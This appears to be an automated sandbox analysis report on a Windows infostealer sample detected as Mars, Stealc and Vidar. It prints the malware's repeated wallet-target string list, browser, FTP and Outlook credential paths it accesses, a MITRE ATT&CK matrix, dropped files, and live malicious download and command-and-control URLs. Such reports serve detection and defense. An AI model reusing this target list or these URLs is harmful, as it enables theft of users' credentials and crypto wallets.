Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.0000000000618000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: Wf9qnVcbi8.exe PID: 1864, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.Wf9qnVcbi8.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.528307a0ac.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2715962638.0000000000551000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.2717126137.000000000185E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2198516833.0000000001655000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wf9qnVcbi8.exe PID: 1864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 528307a0ac.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.Wf9qnVcbi8.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.528307a0ac.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2715962638.0000000000551000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2189641658.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wf9qnVcbi8.exe PID: 1864, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Wf9qnVcbi8.exe	45%	Virustotal		Browse
Wf9qnVcbi8.exe	100%	Avira	TR/Crypt.ZPACK.Gen
Wf9qnVcbi8.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	53%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpf	100%	Avira URL Cloud	phishing
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpP	0%	Avira URL Cloud	safe
https://support.mozilla.org	0%	URL Reputation	safe
